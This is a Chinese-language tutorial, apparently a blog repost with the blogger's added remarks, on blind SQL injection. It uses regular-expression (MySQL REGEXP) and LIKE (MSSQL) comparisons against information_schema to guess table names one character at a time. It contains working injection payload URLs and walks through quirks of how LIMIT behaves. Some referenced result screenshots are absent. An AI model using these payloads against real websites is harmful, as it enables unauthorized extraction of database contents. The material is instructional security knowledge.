sql 盲注之正则表达式攻击

sql 盲注之正则表达式攻击

MYSQL 5+

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我们都已经知道，在MYSQL 5+中 information_schema库中存储了所有的库名，表名以及字段名信息。
故攻击方式如下：

1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注：正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
博主小补充：（下面简写博：） 正则表达式查询结果返回0或1，表示在范围内和不在范围内，与语句之前的1=（……）进行配对，就可以根据页面的返回判断正则表达式的查询结果。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第一个字符是否是a-n中的字符
博：一般也可以先尝试大可能性的表名，或者采用二分法，加速查找.m,n恰好是第一个二分的中间值，任取其一即可。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表达式的更换如下
博：确定表名的首位字符后，可以逐个去匹配表名的后续几位。
expression like this:
‘^n[a-z]’ -> ‘^ne[a-z]’ -> ‘^new[a-z]’ -> ‘^news[a-z]’ -> FALSE
这时说明表名为news ，要验证是否是该表名。 正则表达式为'^news$'，但是没这必要直接判断 table_name = ’news‘ 不就行了。
5、接下来猜解其它表了
博 注意：（只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了）这种想法是错误的！！！
regexp匹配的时候会在所有的项（博：所有复合条件的表名）都进行匹配。
例如：
security数据库的表有多个，users，email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

实验表明：在limit 0,1下，regexp会匹配所有的项。我们在使用regexp时，要注意有可能有多个项，同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema=’security’ limit 0,1。table_schema=’security’已经起到了限定作用了，limit有没有已经不重要了。

博：regexp匹配所有的项，举个栗子来证明：

这里之所以都能查询成功，是因为这个库中有多个表，有的表首字母在a-n，也有的在n-z。

博：我的理解是limit 0，1 限定的是整体的查询结果，符合where table_schema='security' and table_name regexp '^em[a-z]'这两个条件的结果，regexp是对于符合where table_schema='security'这一条件的所有结果进行'^em[a-z]'匹配。
现在我再做一个实验：
数据库中原来有两个表emails、users，现在我新建一个表，名为user。再执行下查询结果试试。
在不加limit 0,1 的情况下：

在加上limit 0,1 的情况下：

使用limit 1,1 情况下：

可以看到limit 0,1和limit 1，1的结果完全一样，但实际查询的东西却不一样。
limit 0,1 是用于对整体的结构进行限制，正则匹配出了两个符合条件的结果，这两个limit一个查询的是user，一个查询的是users。

MSSQL

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MSSQL所用的正则表达式并不是标准正则表达式 ，该表达式使用 like关键词

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

该查询语句中，select top 1是一个组合哦，不要看错了。
如果要查询其它的表名，由于不能像mysql哪样用limit x,1，只能使用
table_name not in (select top x table_name from information_schema.tables)
意义是：表名没有在前x行里，其实查询的就是第x+1行。

例如 查询第二行的表名：

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

表达式的顺序：
‘n[a-z]%’ -> ‘ne[a-z]%’ -> ‘new[a-z]%’ -> ‘news[a-z]%’ -> TRUE

之所以表达式 news[a-z]查询后返回正确是因为 %代表0-n个字符，使用”_”则只能代表一个字符。
故确认后续是否还有字符克用如下表达式
'news%' 返回 TRUE->'news_' 返回 FALSE
同理可以用相同的方法获取字段，值。这里就不再详细描述了。